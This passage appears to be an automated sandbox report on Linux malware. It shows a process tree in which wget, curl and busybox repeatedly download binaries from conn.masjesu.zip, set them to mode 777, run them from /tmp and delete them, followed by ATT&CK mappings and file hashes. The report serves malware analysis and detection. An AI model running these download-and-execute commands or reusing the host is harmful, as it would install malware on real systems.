  PID:976
- /bin/chmod
  chmod 777 dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  ./dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  ./aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  ./tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:998
- /bin/chmod
  chmod 777 DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  ./DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1000
- /bin/rm
  rm DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:1006
- /bin/chmod
  chmod 777 HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  ./HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:1010
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1012
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:1014
- /bin/chmod
  chmod 777 i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - File and Directory Permissions Modification
  PID:1015
- /tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  ./i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Executes dropped EXE
  PID:1016
- /bin/rm
  rm i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  PID:1017
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1019
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /bin/chmod
  chmod 777 sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - File and Directory Permissions Modification
  PID:1022
- /tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  ./sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Executes dropped EXE
  PID:1023
- /bin/rm
  rm sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  PID:1024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT

Path /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA

Path /tmp/vVK0Jg4czP8IJQrsbzk6icJ870QkjPl8IA
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512